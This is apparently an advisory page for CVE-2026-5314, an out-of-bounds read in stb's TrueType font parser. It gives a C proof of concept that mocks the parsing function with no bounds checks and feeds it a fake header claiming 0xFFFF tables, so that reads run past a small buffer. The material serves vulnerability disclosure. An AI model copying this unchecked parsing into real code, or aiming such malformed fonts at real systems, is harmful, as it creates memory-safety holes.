CVE-2026-5314 Nothings stb 越界读取漏洞

/* * PoC for CVE-2026-5314: Out-of-bounds read in stbtt_InitFont_internal * This code demonstrates the triggering condition with a malformed TTF header. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> // Mocking the vulnerable structure logic for demonstration #define STBTT_MAX_OVERHEAD 100 // Simplified representation of the vulnerable function logic int vulnerable_stbtt_InitFont_internal(unsigned char *data, int fontstart) { // In the real vulnerability, specific offsets in the TTF header are trusted blindly // without checking if they point within the 'data' buffer bounds. int numTables = *(uint16_t*)(data + fontstart + 4); printf("[+] Parsing %d tables...\n", numTables); // Vulnerability: Looping or accessing data based on untrusted 'numTables' or offsets // without verifying they are within the allocated buffer size. for (int i = 0; i < numTables; i++) { int offset = fontstart + 12 + (i * 16); // This read could go out of bounds if 'data' is small or 'numTables' is huge uint32_t tableOffset = *(uint32_t*)(data + offset + 8); printf("[+] Reading table at offset: 0x%x\n", tableOffset); // Simulating the crash/OOB access if (tableOffset > 10000) { // Arbitrary bound for simulation printf("[!] Potential Out-of-Bounds Read detected at high offset!\n"); } } return 1; } int main() { // Allocate a small buffer to simulate a constrained memory environment unsigned char *fake_font_data = (unsigned char *)malloc(1024); if (!fake_font_data) return -1; // Setup a basic TTF header structure (SFNT version 1.0) // Bytes 0-3: SFNT version fake_font_data[0] = 0x00; fake_font_data[1] = 0x01; fake_font_data[2] = 0x00; fake_font_data[3] = 0x00; // Bytes 4-5: numTables (Set to a high value to trigger OOB in loop) // Setting a large number of tables to force reading beyond 1024 bytes fake_font_data[4] = 0xFF; fake_font_data[5] = 0xFF; printf("[*] Triggering CVE-2026-5314...\n"); vulnerable_stbtt_InitFont_internal(fake_font_data, 0); free(fake_font_data); return 0; }